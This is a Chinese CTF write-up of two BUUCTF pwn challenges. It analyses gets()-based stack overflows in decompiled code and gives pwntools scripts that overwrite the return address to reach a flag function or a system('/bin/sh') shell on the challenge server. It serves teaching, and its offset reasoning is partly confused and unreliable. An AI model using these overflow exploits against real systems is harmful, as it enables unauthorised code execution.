BUUCTF PWN 1 – warmup_csaw_2016、rip
warmup_csaw_2016
查看文件warmup_csaw_2016信息
拖入IDA分析,得到main函数。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}
很明显的sprintf
栈溢出漏洞,测试偏移地址。
可以看到rbp已经被输入的内容覆盖了,经过计算,AAdAA3AA
是随机字符串AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
的偏移64字节,根据RIP在RBP下方,所以输入64个字符后,接下来的8个字符就会修改RIP的值,控制程序执行流。
在本文件中存在一个函数sub_40060D
,可以直接读取flag
所以使用64*a + len(rbp) + address(sub_40060D)
即可读取flag
给出脚本
from pwn import*
sh = process('warmup_csaw_2016')
payload = 'a'*64 + 'b'*8 + p64(0x40060D)
sh.sendline(payload)
sh.interactive()
rip
和上题目类似,也是一个覆盖RIP的题目
查看防护措施
拖入IDA,给出重要函数反编译源码,可以看到需要利用gets()函数获取一个长字符串覆盖rip来控制程序流到fun()函数,达到获取shell的目的。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
int fun()
{
return system("/bin/sh");
}
进行偏移测试
可以看到rbp的值为nAACAA-A
,是输入字符串偏移的15,再加上他rbp,所以偏移总共为23
脚本
from pwn import *
io=0
def isDebug(debug):
global io
if debug:
io = process('./pwn1')
else:
io = remote('node3.buuoj.cn', 26771)
def pwn():
offset = 23
payload = 'A'*offset + p64(0x401186)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
isDebug(0)
pwn()
执行
在进行远程测试时,发现打不回来shell,将offset调整为15可以打成功,没搞明白。